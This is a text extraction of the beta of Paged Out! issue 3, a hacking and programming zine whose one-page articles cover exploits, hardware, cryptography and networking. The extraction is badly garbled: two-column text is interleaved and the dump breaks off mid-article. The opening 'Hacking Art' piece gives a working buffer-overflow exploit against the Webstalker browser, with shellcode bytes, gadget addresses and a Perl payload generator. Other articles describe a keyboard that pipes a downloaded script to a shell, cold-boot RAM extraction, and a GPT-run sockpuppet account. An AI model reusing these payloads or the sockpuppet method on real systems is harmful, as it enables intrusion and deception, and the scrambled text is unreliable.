PagedOut 003 Beta1
PagedOut 003 Beta1
:)
Project Lead
Gynvael Coldwind It showed me the power that putting diverse, interesting,
complex, or ground-breaking ideas on one page has.
Editor-in-Chief
Aga It took a while for us to get here, to the point where we can share
the Issue with you, but now we're back, and we're here to stay.
DTP Specialist
tusiak_charlie
Issue 3 happened because of all the great authors who took
their time to write engaging, interesting, and all-around great
DTP Programmer
one-page articles and submitted them to us.
foxtrot_charlie
Full-stack Engineer I would also like to thank our reviewers for their hard work and
Dejan "hebi" dedication and our DTP team that made this comeback possible,
as well as everyone else who helped us along the way.
Reviewers
KrzaQ, disconnect3d, There is still work to be done and changes to be made, but with
Hussein Muhaisen, Max, such a wonderful team and community on our side, the future of
Xusheng Li, CVS Paged Out! looks bright.
Additional Help
kele, Arashi Coldwind, As we are releasing this Issue into the world, we hope you will
enjoy it, share it with others, and allow it to inspire you to write
Mateusz "j00ru" Jurczyk
something of your own.
Additional Art
cgartists (cgartists.eu)
Aga
Templates Editor-in-Chief
Matt Miller, wiechu,
Mariusz "oshogbo" Zaborski
Legal Note
This zine is free! Feel free to share it around.
Issue #3 Donators Licenses for most articles allow anyone to record audio versions and post
celephais, jask, wasp0r, gkelly, them online — it might make a cool podcast or be useful for the visually
madwizard, MrEuds, impaired.
H Lascelles, and others! If you would like to mass-print some copies to give away, the print files are
available on our website (in A4 format, 300 DPI).
If you would like to sell printed copies, please contact the Institute.
If you like Paged Out!, When in legal doubt, check the given article's license or contact us.
let your friends know about it!
Project Management and Main Sponsor: HexArcana (hexarcana.ch)
Hacking Art 4
A minimal Version Control and Continuous Deployment Server with Git and Bash 22
Solving a Snake Challenge with Hamiltonian Cycle 23
This Golang program is also valid Python 24
winapiexec - Run WinAPI functions from the command line 25
Creating PDF/Plain Text Polyglots with LuaLaTeX 26
One parser to rule them all! 28
Transpiling Polling- Based Scripts into Event Driven Scripts using state graph reconstruction 29
The Quest of malloc(0) 30
RPI4 remote debug recipe! 31
Idea behind Khazad-dûm – a TPM2 secret manager! 32
Building a SuperH-4 (dis)assembler 33
Adding a custom syscall without modifying the Linux kernel – eBPF 34
Most common vulnerabilities in C/C++ 35
Help Your Program! 36
Retro Rendering Using an Octree 37
State machines in frontend 39
Python's typing is cursed and I love it 40
Leaking Guest Physical Address Using Intel Extended Page Table Translation 47
Exploiting Shared Preferences of Android Apps 48
R3verse$hell As R00tkit 49
Android writeToParcel/createFromParcel mismatch bug 51
Dumping keys from PS4 Security Assets Management Unit via the HMAC trick 52
Crashing Windows CHM parser in seconds using WinAFL 53
Using CodeQL to help exploit a kernel UAF 54
Exploiting PyInstaller 55
Circumventing Online Compiler Protections 56
What's still wrong with hacking competitions 57
Hacking Art The crawler function first loads the web page entered
into the browser and searches for links. The crash
The net.art pioneers at the end of the 90's not only happens only after one of the links has been requested.
examined the code of the Word Wide Web that was However, the memory still contains the first URL in a
just being born, but above all they asked themselves predictable memory location. This means there is a
how do we perceive these newly developed surfaces. small part in memory that can be written to,
From this, another question arises: what is a browser? completely independent of the actual buffer overflow.
While the so‐called browser wars were raging on the The address pointing internally to this part of memory
commercial market, some artists developed their own was in my case 0012fb00. Fortunately somewhere in
browser experiments in parallel. the binary itself these bytes were present. At 6f77016b
to be precise.
The I/O/D Webstalker was one of the first art browsers
and is probably still the most famous. In May 2000 it If ECX is now overwritten with 6f77016b, it points to
was honored with the "Webby Award", a kind of 0012fb00, which is then written to EAX. This is read
Internet Oscar, in the category "Internet Art". As with again as an address by the call instruction, but now it
many media art projects, the programmers of can be controlled what is at 0012fb00, because this is
Webstalker were excited with making hidden the memory area where the requested URL was stored.
structures of the web visible. While conventional Now a special link can be crafted: (For readability, the
browsers interpret the received code and usually bytes are represented here in hexadecimal):
display it as programmers imagined, the Webstalker
http://hacking.art:8000/AAAA\xc3\xfe\xe5\x77AAAA.html
offers a different view of surfing the WWW.
These bytes are written backwards into the memory,
The following demonstrates a buffer overflow in the thus resulting in 77e5fec3 which is now located at
I/O/D Webstalker. Hacking Art is interpreted literally address 0012fb00. The call instruction jumps to the
here, and the artwork is actually hacked. location 77e5fec3 and executes the bytes there, no
matter what their original purpose was. To take
To detect a crash, a simple fuzzer was developed that complete control over the code flow, another gadget is
deforms the HTTP protocol and the HTML content in needed. 77e5fec3 points to the following instructions:
various ways. In the end, it turned out that the HTTP add al, 56 & call eax
response code was not processed correctly. Like, this
was bad: 200 OKAAAAAAAAAAAAAAAAAAAAAAA… Since EAX already points to the link, these instructions
increase EAX a bit and jump to it again. This means the
Since the program is old (1998) and, in fact, does not link can be extended by the appropriate length and
include any of today's protection mechanisms, it was appended with executable code.
possible to perform a classic buffer overflow. However, Another obstacle is that the link in memory does not
not without some obstacles. A textbook buffer have enough space for longer shellcode (like msfvenom
overflow would directly overwrite the return value of generated). Webstalker's crawler simply skips links that
CPU's EIP register stored on the stack and thus control are too long. Therefore, only a few instructions can be
the immediate next return in the program. With placed there. But now that the program is completely
Webstalker it is a bit more complicated, but it's under control, code can be placed there that prepares
possible to overwrite another register instead. the final jump to the shellcode stored inside the actual
The overwritten register in this case is the ECX register. buffer overflow payload.
And the crash in the Webstalker happens at the To finally exploit, make a simple HTML page linking to
following unlikely place: this (change hex to real bytes):
mov eax, dword ptr ds:[ecx] <- CRASH http://hacking.art:8000/AAAA\xc3\xfe\xe5\x77AAAAAAAAA
call dword ptr ds:[eax] <- next
AAAA[...]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90
\x90\x31\xD2\xB2\x60\x86\x1E\x01\xD7\xFF\xD7AAAA.html
In the first instruction, the crash happens because ECX
is overwritten with 41414141 and can't be retrieved. Listen on 8080 and respond to the connection with the
The instruction mov copies the memory located at the shellcode. For example, generate something like this:
address to which ECX points into EAX. The next
instruction calls a function at the location the address perl -e 'print "HTTP/1.0 200 OKAAAAAAAAA"
in EAX points to. This means that whatever is at the ."\x90"x3674."\xCC"x4."\x6B\x01\x77\x6F".
address that EAX now points to will be called. The "\x90"x530."<shellcode>"'
problem is that, two addresses are needed to redirect
the execution flow. Also, the address in memory Then visit the page with the Webstalker art browser
changes each time the program is executed. But and enjoy Hacking Art!
further investigation showed there is in fact another
not‐changing memory area that can be controlled. For more hacking.art projects visit https://hacking.art
Yannick Westphal
[email protected] || twitter.com/@yawe1337
4 SAA-ALL 0.0.7
1
_0
>
RESEARCH,
PUBLIC REPORTS AND PENTEST CHRONICLES,
AT SECURITUM.COM/RESOURCES
2
_0
>
READ AN ARTICLE
2×× Success
3×× Redirection
MATEUSZ "LEFTARCODE" LEWCZAK
2×× Success
SECURITUM.COM/PARTNERSHIP
Your model doesn't give a hack about bugs
Artificial Intelligence
Explanation
Your model doesn't Consider a pixel with the following values: [122, 89,
150]. These are three one-byte values representing RGB
give a hack about bugs colors in the pixel.
After preprocessing, pixel channels will reach values
between (-1, 1): [-0.04313, -0.30196, 0.17647] - these
This will be a quick story about a bug I made and how a are valid values which should be used for training.
neural network mitigated it.
What actually happened because of the bug, these
Intro floats were wrongly cast to integers, and because of
I was training a neural network for image recognition that they reached the following values:
task (histopathologic cancer detection) and the pipeline [-1120884459, -1097164160, 1043641485]
followed this schema:
Training data is then stored in the TFRecord file - a As the correct values should be between -1 and 1, the
binary file format developed for efficient loading of bug caused values to reach around -billion if the value
large numbers of records. is negative and +billion if it’s positive. Considering that
reaching 0 is very unlikely, we can assume that each
When the data is ready, we can start the training pixel channel contained one of 2 values (1e9 or -1e9).
process. The generator feeds the neural network with
large amounts of data. The main building block for the Validation
neural network is efficientnet-b2, which is considered a I decided to check if really only the sign bit matters and
very compute efficient stacked convolutional neural-net did introduce a following change in the Generator:
architecture. As the training process continues, the image_data = tf.math.sign(image_data)
neural network optimizes its loss function and increases The pixel values are now -1, 0 (very unlikely) and 1.
its accuracy.
There are 2 possible values for each color in a pixel,
when we plot it, surprisingly, it is very comparable with
The story
its original as seen below
Training the model took (20 epochs) 12 hours on my
laptop to reach 97% accuracy on validation data (data On the left, the original
which was not seen before by the neural network). image. On the right,
Everything seemed fine, until I found out that the input image representation
data to the neural network was corrupted. The after the wrong cast
Generator was wrongly interpreting the input data,
which caused it to cast pixel values from float to
integers! This made the data totally unmeaningful (at
least for humans), nevertheless the neural network The last thing to check was to run training once again
reached an incredible score of 97% val. acc.! Let’s take a but with the Generator modified. Only after 5 epochs,
deeper look at how that phenomenon happened. the efficientnet reached 94% val. acc.. This means that
the neural network was able to train with only 1 bit per
pixel channel (instead of standard 8 bits).
srakai
https://github.com/Srakai
6 SAA-ALL 0.0.7
AIleister Cryptley, a GPT-fueled Sock Puppeteer
Artificial Intelligence
# Initialize OpenAI
The goal openai.api_key = openai_api_key
Imagine that you are new to OSINT, and you’ve heard Now, we want to post the tip. This can be done with
that at some point, it would be good for you to make the following piece of code.
a fake profile on social media for your investigations. def post_to_twitter(message: str) -> None:
However, you’re a busy fellow. There’s just no way you client = tweepy.Client(
can handle an imagined persona. Incorporating posting consumer_key=x_api_key,
on social media into your schedule might be a daunting consumer_secret=x_api_secret_key,
task. But fret not! AIleister is here to help. access_token=x_access_token,
access_token_secret=x_access_token_secret,
The idea bearer_token=x_bearer_token
)
Most of us know that the LLMs can talk about literally client.create_tweet(text=message)
anything now. ChatGPT even passed the Turing test
a few months back. We can use it to our advantage Finally, we can add some posting time randomization
and make it say things for our sockpuppet. Introducing: and finish the script.
AIleister Cryptley – a cybersec occultist. He recently if __name__ == "__main__":
started sharing pieces of gpt-generated cybersec tips on if random.randint(1, 100) == 1:
Twitter. All by himself! tip = get_tip()
The plan of the game is as follows. We start by generating
if tip:
a message to post – that’s what ChatGPT will do for us.
delay_minutes = random.randint(0, 60)
The output will be a ready-to-post string that we will –
time.sleep(delay_minutes * 60)
after some random delay – post on social media (Twitter
post_to_twitter(tip)
in this example). This way, we will simulate the activity
of an actual person on our account.
The wrap-up
The implementation There are several things to note.
If we know what we want to do, the rest of the project is • The part about getting the API keys and storing
trivial. You can even ask ChatGPT to generate it for you them in the environmental variables wasn’t covered
(and tweak it a little). First, we need to get a ChatGPT on this page. Luckily, it’s not that complicated.
tip. We can use the following function for that. • Access to OpenAI API is not free (that’s why the
def get_tip() -> Optional[str]: script uses a cheaper gpt-3.5 model).
response = openai.ChatCompletion.create( • An extended version of the presented code can be
model="gpt-3.5-turbo-16k", found on my GitHub (link in the footer). You
messages=[ can find the setup description and broader explana-
{"role": "system", "content": tion/justification of the code in the README.
"You are a human knowledgeable in "
"cybersecurity, programming and AI."}, • The script runs have to be scheduled. You can use
{"role": "user", "content": CRON (Linux/Mac) or Task Scheduler (Windows)
"Can you give me a tweet-length " to do that.
"cybersecurity, programming or AI tip " • AIleister’s Twittter can be found here.
"(or trivia)? It can also be a pun."}
]
The disclaimer
)
return response.choices[0].message['content'] This page was not generated by AI (although the temp-
tation was there).
But, to use OpenAi’s API (or Twitter API), we need API
keys. By storing them in the environmental variables,
we can easily access them!
Tomasz Rybotycki
https://github.com/Tomev
https://twitter.com/TRybotycki
SAA-ALL 0.0.7 7
Beyond The Illusion - Breaking RSA Encryption
Cryptography
Beyond The and thus not private. d is the only secret factor of the
private key. Whenever the public key is sent to another
Illusion - Breaking party across a (potentially) unsafe medium, e and N are
made public and d is kept private.
RSA Encryption Encryption and Decryption
Many people seem to think that encryption is some Having the keys, encryption (1) and decryption (2) is
kind of black box in which magic is done that is only done in two simple calculations. In these calculations,
comprehensible by the best in the field. This article e and d are used as exponents over the message or ci-
aims to not only put in perspective how encryption can phertext, after which the result is used for the modulo
be broken, but also to show the reader that encryption is operation to get the ciphertext or original message.
sometimes nothing more than simple mathematics. This Ciphertext = M essagee mod N (1)
article will hopefully add to the reader’s understanding d
of cryptography so that they may realize that cryptog- M essage = Ciphertext mod N (2)
raphy, in Snowden’s words, is no arcane, black art. It’s
a basic protection! Public Key Acquired - Now What?
RSA (Rivest-Shamir-Adleman) is a widely used asym-
metric cryptographic algorithm. There are a few meth- The RSA problem typically hinges on the factorization
ods of breaking it if it is implemented incorrectly. The challenge of large primes, with success probabilities be-
method discussed in this article is a mathematical attack coming higher when dealing with small values for N .
on RSA that focuses on factorization attacks in order to That’s why, for demonstration purposes, the public key
derive the private key from the public key, which is more for the example in this article is public = (3, 33) and
commonly known as the RSA problem. the ciphertext we’re going to decrypt is the number 5. In
order to derive the private key, the private key exponent
Key Generation (d) needs to be discovered. This is done by reversing the
made calculations with the following three steps.
It is important to understand the process of key genera- 1) Factorizing N for discovery of p and q: The
tion when it comes to factorization attacks. Keysets are first step of cracking RSA is factorizing N to dis-
generated in four steps, which are: cover the primes used to produce it: p and q. This
1) Choosing primes: The first step of generating the can be done by algorithms like Pollard’s Rho Inte-
keys involves choosing two random prime numbers ger Factorization algorithm. For this example, N is
p and q in which p ̸= q in order to calculate N = pq. easy to factorize: 33 = p ∗ q = 11 ∗ 3.
These form the base of the two keys. 2) Calculating φ(N ): With p and q, the next step is
to calculate φ(N ) for which it counts that φ(N ) =
2) Calculating φ(N ): In order to advance, the totient
φ(p)φ(q) = (p − 1)(q − 1) = 20.
of N (denoted as φ) is calculated. The totient of N
is the amount of (natural) numbers that are lower 3) Discovery of d: With φ(N ), the next step is to use
or equal to N and only share the factor 1 with N . this totient with e to calculate d. Because d ≡ e−1
Because N is a product of two primes, the following (d is the multiplicative inverse of e), it can be said
counts: φ(N ) = φ(p)φ(q) = (p − 1)(q − 1). that ed modφ = 1, which should lead to the value
of d and thus the private key. By substituting what
3) Determining the public key exponent: The
is already known in the equation ed mod φ = 1, we
following step is about determining the exponent
can conclude that 3d = 21. This means that d = 21
that is used in the equation for the public key, given 3
and thus that d = 7, which effectively gives out the
the variable name e. e must be between 1 and φ,
private key!
meaning that 1 < e < φ(N ). Another requirement
With the above calculations it becomes clear that
for e is that it is relatively prime compared to φ(N ).
This means that they have no common divisor other private = (7, 33) is the private key. By using the earlier
than 1. documented calculation (2), the plaintext message can
7
4) Calculating the private key exponent: Finally, be calculated by solving 5 mod 33 = 14! This can be
the private key exponent (denoted as d) is calcu- tested by encrypting the plaintext again with the docu-
lated so that ed ≡ 1 mod φ(N ). This is done us- mented
3
calculation for encryption (1). This means that
ing the Extended Euclidean Algorithm and is also 14 mod 33 = 5, which is the original ciphertext and
known as modular inversion. By modular inver- confirms that the private key has successfully been de-
sion, it is possible to solve for d by calculating rived!
d = e − 1 mod φ(N ). Cryptography is tricky, as this example illustrates.
Never roll your own crypto – it’s a recipe for problems!
This results in the number pairs public = (e, N ) and Using tested and tried libraries prevents errors like these
private = (d, N ). In this case, N is publicly known (barring quantum computer threats for now ,).
Oracles: The Merovingians of Blockchain theoretically prevent oracle manipulation by attackers. However,
during the $LUNA crash, its value dropped rapidly to $0.000042, while
Chainlink reported 0.1$, enabling attackers to potentially increase
their stakes by about 2000 times.
[Cypher] Ignorance is bliss
Legend:
41 41 AA PNG header
41 41 AA PNG chunks (odd)
41 41 AA PNG chunks (even)
https://github.com/gynvael/random-stuff/tree/master/png-zip-twist 41 41 AA ZIP structures
Creating a PNG+ZIP binary polyglot is, of course, trivial – one just needs to concatenate both together (with ZIP at
the end) and that's it. So, this of course isn't a normal PNG+ZIP polyglot! No sir! This one is way more useless.
Its origin story is pretty simple: I was making slides for an upcoming workshop on file formats, and I thought
"heeey, PNG uses DEFLATE/zlib, ZIP uses DEFLATE/zlib, so I wonder if I could make ZIP extract a PNG's IDAT
chunk" (that's the chunk with pixel data... well, filtered pixel data). And so I went to create a tool (linked at the top)
that takes a PNG and adds two custom chunks: fzIP before IDAT and ezIP before IEND.
The first chunk (fzIP) contains ZIP's Local File Header (LFH, PK\3\4). The LFH contains all the basic information
about the compressed "file" (called IDAT.bin) and uses the extra fields (i.e. fields that contain custom / OS
specific metadata for a given file in the ZIP archive) to consume fzIP chunk's checksum, IDAT chunk's length,
type, as well as 2 first bytes of the compressed data stream. This last part is because PNG stores the compressed
data with the 2-byte zlib header and ZIP does not (so we need to get rid of it). In effect, the LFH is followed
directly by the ZIP-compatible compressed data stream.
The second added chunk (ezIP) contains two ZIP structures: the Central Directory Header (CDH, PK\1\2) and
End of Central Directory Record (EOCDR, PK\5\6). The first one is basically an extended version of the LFH and
serves as the global archive index. While only LFH has the actual compressed data, the metadata is duplicated
between LFH and CDH, which is pretty useful when repairing corrupted archives. The EOCDR is basically the start
header of a ZIP (or rather footer given that it's at the end of the file). It contains a file offset of the first (and only
in our case) CDH entry (which in turn has the file offset of the matching LFH). It also contains the archive
comment, which is at the end of the EOCDR structure, and which can be used to eat up all remaining parts of the
PNG until the end of file: ezIP chunk's checksum and the whole IEND chunk (length, type, checksum).
One thing to note is that both PNG and ZIP have checksums, but that's not a problem as there thankfully/sadly is
no case where a PNG and ZIP checksum would both fall into each other's checksummed data (this would be a fun
problem to solve, but even without going into CRC32 math it would be fixable using a small 32-bit bruteforce).
Anyway, at the end of the day, what we get is a PNG that can be renamed to .zip and its IDAT chunk would get
extracted and decompressed into IDAT.bin file.
Why is that useful? I already said it's not. It would be a bit more if the IDAT chunk contained straight up a raw
pixel bitmap, but unfortunately there's still a filter layer there (https://www.w3.org/TR/PNG-Filters.html).
Anyway, this was a pretty fun exercise and a fun thing to make :).
CTF{YouFoun
dMe!ThereIs
NoPrizeButG
oodWork!}
Oh btw, this is the PNG image in the hexdump on top of the article (pagedout.institute's favicon) → .
Gynvael Coldwind
https://gynvael.coldwind.pl
https://hexarcana.ch
10 SAA-ALL 0.0.7
Keyboard hacking with QMK
Hardware
Once complete, save the file in the editor and base64-decode it typeself.py
with a command like base64 -d -i FILENAME.
#!/usr/bin/env python3
(I have also written about this in more detail here.) import base64, os, re
d = os.path.dirname(__file__)
with open(d+'/keymap_base.c') as f:
k = f.read()
CKC_MTX: Single key pwnership b = base64.b64encode(k.encode()).decode()
with open(d+'/keymap.c', 'w') as f:
The Rubber Ducky is a microcontroller that can act as a USB key-
f.write(re.sub(
board, and can be programmed to act maliciously, such as waiting
'\/\*___TYPESELF___\*\/', b, k))
on a long timer and then entering commands to launch a terminal,
download a malicious executable, run it, etc.
QMK can do some of this as well. If you hit the T key on the
keymap, it will curlbash a script to show the matrix in your ter-
minal. This example uses Mac-specific shortcuts to launçh the
terminal (cmd+space to launch Spotlight, then the string termi-
nal.app, then enter), but the same method could be used to emit
key sequences for other OSes.
Micah R Ledbetter
https://me.micahrl.com
WTFPL 11
Build your own keyboard
Hardware
Happy Hacking!
0x17
https://www.nerdbude.com
https://corteximplant.com/@0x17
12 CC0
Hardware Serial Cheat Sheet
Hardware
Jay Greco
https://github.com/jaygreco
SAA-TIP 0.0.7 13
Cold booting the Pi
Hardware
1 Cold boot attack on Pi using only Linux 2 Using bare metal kernel to extract RAM
In one of the original papers on the I created a very simple bare metal kernel for the
Cold Boot attack [1], Halderman et Pi which was able to dump memory over the
al. loaded an image of the Mona Lisa UART interface at 1MBaud (extensively using
and "cut power for varying lengths code from here2 ). I used the previously dis-
of time" to see if data remained in cussed program to fill the memory with images,
memory and gradually decayed (they then sprayed the DDR4 RAM with freeze spray,
made use of DDR2 RAM). I was curi- powered down and then swapped the SD card
ous about how well the attack would to one containing my simple bare metal kernel
work on a modern Single Board Com- and powered up again. I dumped the data sent Figure 2:
puter (Pi 4), without transplanting Figure 1: Dumping by the bare metal kernel using an FTDI dongle Found
the memory to another board. Clone memory using bare connected to the target Pi using another Pi, do- after cold
the repository1 which contains a sim- metal kernel, over ing stty -F /dev/ttyUSB0 1000000; (stty booting,
ple C program to load the image of UART interface raw; cat > out.dump) < /dev/ttyUSB0, apparent
Mona Lisa into RAM on the Pi, many times. this took some time! It might be worth looking corruption
I used the excellent LiME kernel module in order to dump into using SPI or similar in the future for faster due to
the whole of the Pi 4’s RAM. Ideally though, a whole OS speeds. malloc
wouldn’t be used to capture RAM data, but instead a sim- I created a simple kernel module to fill con-
ple bare metal program to dump the memory (which is de- tiguous physical memory on the Pi, to achieve
scribed later). The following command was used to disable this I first added cma=700M@36M to /boot/cmdline.txt
swap, sudo systemctl disable dphys-swapfile.service as well as setting the device tree location in /boot/con-
and then the system was rebooted. First, build the LiME fig.txt. Then I ran the module in ‘src-module’ by do-
kernel module, then, in the ‘ramrecovery’ repo, do - cd src; ing sudo insmod ramrec.ko writetoram=true file-
make run to fill RAM with the Mona Lisa. As an example name="mona.tga" singleimage=false (which wrote 939
I got the output “Done - injected 4761 images". Then, images) and froze the RAM and switched SD cards again.
quickly power off/on the Pi and run the following command Note that between each of these ex-
to dump RAM periments, I left the Pi turned off for
a period of time, around 20 minutes to
sudo insmod . / lime −$ ( uname −r ) . ko " path=out ensure no data remained. Images now
. dump fo rm a t=padded " appeared much much better! I made a
After dumping the memory to a file, to extract relevant small modification to a USB hub to use
images from the dump, you can make use of the following relays to control the switches, to turn
command to grep for the Mona Lisa (I used 18 bytes in the on/off USB disks programmatically. I
grep query, as that is the length of a TGA header). This will combined this with a Wifi plug which
output files for each Mona Lisa image it finds. the target Pi was attached to. This en-
abled me to boot from a USB disk con-
LANG=C g r e p −−t e x t −−byte−o f f s e t −−only− taining Raspberry Pi OS, inject a sin-
matching −−p e r l −r e g e x p ' \ x00 \ x00 \ x02 \ x00 gle image into contiguous memory, then Figure 3: Found
\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x58 \ x02 \ x93 \ x01 power off and wait a specific duration, after cold booting
\ x58 \ x02 \ x18 \ x20 ' out . dump | LANG=C s e d power on my bare metal kernel USB disk (0.75s delay)
" s / : . ∗ / / g " | x a r g s −I {} dd i f =out . dump and then extract the single image from
bs=1 s k i p ={} count =725444 o f ={}. t g a memory (see ‘src-experiment’). See Fig. 3 for an image ex-
There appeared to be 31 .tga files generated (this number tracted using this process with a 0.75s delay. I noticed the
depends heavily on how fast you power cycle the Pi); how- images decayed very quickly with no cooling, for example
ever, this relates just to the number of uncorrupted headers they appeared almost completely decayed around 1s.
found, there would likely be more images remaining in the It would be interesting to compare using liquid nitrogen to
memory dump. You can create a tiled image of all these files the freeze spray in terms of efficacy, or alternatively devising
by simply running montage -border 0 -mode concate- a simple system to continuously spray the DDR RAM whilst
nate .tga tiled.jpg; convert -resize "3000>" tiled.jpg swapping the SD card. It would be cool if it was possible
tiled_small.jpg. to load an image into RAM via malloc, then later dump
all memory and deduce how the image was scattered across
A lot of the images will have been corrupted, due to natural
physical memory, although I’m not sure if that is possible.
decay, but I assumed many images will have been corrupted
It would also be very interesting to investigate Linux’s ‘huge
by various applications being loaded into RAM at different
page’ support, to utilise 2MB/1GB page sizes.
locations. I later realised a key reason for the apparent cor-
ruption is the fact that although malloc allocates memory References
contiguously in virtual memory, it doesn’t allocate contigu-
ously in physical memory. This was verified by filling the [1] J Alex Halderman et al. “Lest we remember: cold-boot
memory with the Mona Lisa and dumping RAM immedi- attacks on encryption keys”. In: Communications of the
ately, I could see many images of the Mona Lisa appearing ACM 52.5 (2009), pp. 91–98.
in strange stripes. [2] Yuanzhe Wu, Grant Skipper, and Ang Cui. “Cryo-
Ideally, a "Cryogenic mechanical memory extraction" Mechanical RAM Content Extraction Against Modern
robot like Wu et al. [2] created could be used so that the Embedded Systems”. In: 2023 IEEE Security and Pri-
memory wouldn’t be touched by a pesky OS (while dumping vacy Workshops (SPW). IEEE. 2023, pp. 273–284.
memory), however, that may be a little pricey.
1 2
https://github.com/anfractuosity/ramrecovery https://github.com/isometimes/rpi4-osdev
anfractuosity
https://www.anfractuosity.com
14 CC BY-SA 4.0
Writing your first Nmap script
Networks
Learn more
As you can see, it works perfectly! Typically, when installing
Nmap, you can find the scripts that come with it in this path: We scratched the surface. A lot of cool stuff can be done. This
was just a light introduction to writing your own Nmap scripts. I
/usr/share/nmap/scripts/. We will now use a script, recommend learning Lua, as it’s really effective and has a wide
you will analyze it being run, and we will get more results. range of applications. Then, you can learn more about the Nmap
scripting engine.
Learn Lua: https://www.lua.org/start.html
Learn NSE: https://nmap.org/book/nse-tutorial.html
NSE API: https://nmap.org/book/nse-api.html
Remember, Nmap is a Swiss Army knife; it has a lot to offer, and
some hackers can't live without it, so we better appreciate this
tool.
Conclusion
As you can see, we got much more results as we tested the
default script option. Now, let’s write our first script and get That’s about it. As a challenge try to create an Nmap script that
serious :). discovers a recent vulnerability in the wild, it will be a real good
practice for you to solidify your learnings. You can find recently
First script discovered vulnerabilities through hacker focused news
Some basics that we need to know is that our file extension will websites, exploit databases and so on ;). I really hope you all
enjoyed this simple yet effective article, as you will likely need to
end with .nse (Nmap Scripting Engine).
write your own scripts in sophisticated environments.
Hussein Muhaisen
Twitter: https://twitter.com/husseinmuhaisen
Linkedin: https://www.linkedin.com/in/husseinmuhaisen/
SAA-ALL 0.0.7 15
Simple (and works!)
What is the hosts file and how does it work? From Wikipedia: the computer file hosts is an operating system file that maps hostnames to IP addresses. It is a plain
text file.
Some people provide their hosts files and update them quite often. My script will combine those files, deduplicate them, remove comments and sort. Those file
contains lines which looks like:
When such a line exists in the operating system, then the connection to ‘malwaresite’ will not succeed because the browser will try to connect to 0.0.0.0 instead of
the real ‘malwaresite’ ip address. Trying to ping that site will cause the following message:
Ping request could not find host ‘malwaresite’. Please check the name and try again. And here is the Python script which does this
task:
import urllib.request
mySet = set();
urls = set();
urls.add('https://someonewhocares.org/hosts/hosts')
urls.add('https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts')
urls.add('https://adaway.org/hosts.txt')
urls.add('https://pgl.yoyo.org/adservers/serverlist.php?hostformat=hosts;showintro=0&mimetype=plaintext')
for url in urls:
with urllib.request.urlopen(url) as response:
html = response.read()
for line in html.splitlines():
if not line.startswith(b'#'):
temp = b' '.join(line.split())
temp_arr = temp.split(b'#')
mySet.add(temp_arr[0].strip().replace(b'127.0.0.1 ', b'0.0.0.0 '))
file = open("hosts","w")
mySortedSet = sorted(mySet)
for line in mySortedSet:
file.write(str(line)[2:-1]+'\n')
file.close()
Code explanation:
• Each entry in the hosts file is stored in the mySet variable. Set type guarantees that there will be no duplicates.
• Inside urls there are hosts files that will be downloaded and from those files we get the entries.
• If a line starts from #, then it will not be taken into account. Comments will also be removed • All whitespaces will be replaced with a single space character
• All 127.0.0.1 IP addresses will be replaced with 0.0.0.0
• In the last loop, there will be writing to the hosts file which will be created in the current working directory. Entries will be sorted.
• If the program runs correctly, there is no output to the user.
All you need to do is to make a backup of the existing hosts file in your operating system and put the generated file there. You can regenerate the hosts file by
running a script from time to time because lists are updated quite often.
What’s next? You can read about how your firewall blocks websites and modify this code to support the list of suspicious domains. There are also applications for
smartphones which do similar things by blocking domains using internal VPN.
Homework: find hosts file in your operating system. Play with the code by adding a progress bar or progress in percentages to track the script progress. You can use
any library, for example: https://pypi.org/project/progress/
Marcin W€do•kowski
https://pl.linkedin.com/in/marcin-w%C4%85do%C5%82ko
wski-4a2b819a
WTFPL 17
Hyperscaling CVD on the IPv4-Space
Networks
Hyperscaling CVD $ echo "Command sequence to sorting data, see footnotes for more info!"
on the IPv4-Space
$ shodan download -limit=-1 <file> 'http.favicon.hash:989289239'
$ shodan parse --fields ip_str,port <file>.json.gz -separator : > <file>.csv
$ nuclei -H "DIVD-2023-00023" -t ./CVE-2023-36934.yaml1 -l <file>.csv -o <vuln>.json
$ go run cmd/main.go2 -i <vuln.json> -o <enriched>.json
Nowadays, organizations often fall victim to cyberattacks <...imports and file operations omitted for brevity…>
$ python -c 'makeDataFrame = lambda data: pd.DataFrame({"host": [ip for ip in data],
due to unresolved vulnerabilities rather than "abuse": [data[ip]['Abuse'] for ip in data], "timestamp": [data[ip]['timestamp'] for
sophisticated exploits. Technical debt in this context is ip in data]})'
why Coordinated Vulnerability Disclosure (CVD), as a
model, became a best practice that gives security
tools like Nuclei. These scans result in a list of vulnerable IP
researchers a guideline to notify parties affected by a vulnerability.
addresses, which can be enriched using databases like RIPEstat and
However, why report one vulnerability when you can do multiple.
WHOIS but also reverse DNS, TLS certificates, ASN or security.txt.
This article takes the reader through a methodology that focuses on
a disclosure not only at single organizations but thousands at a
The Notification Phase
time!
Once a list of confirmed vulnerable hosts is available, the
Notification phase can be started. This phase means finding the
The Dutch Institute for Vulnerability Disclosure is an NGO founded
most efficient way of reaching the owners of vulnerable hosts.
in 2019 aimed at making the Internet safer by reporting
Doing so consists of two aspects; finding the right contact and
vulnerabilities found in systems to the people who can fix them. The
(where required) writing an effective notification. Contacting host
methodology discussed is put in practice by this foundation.
owners can be done with enriched information directly. However, if
this information is coming from WHOIS-like databases, chances are
The Scan-Notify Process
that the false-positive ratio is high (this is due to a lack of
The complete process consists of two stages, Research and
maintenance and a GDPR side-effect in European countries). To
Notification. Both stages are walked through in this article and can
counter this, data can be split on a TLD-level and sent to the
be seen schematically in the figure. The goal of this process is to
respective GovCERT of that country, like CISA (Cybersecurity and
respond to the event of a new (critical) vulnerability by assessing
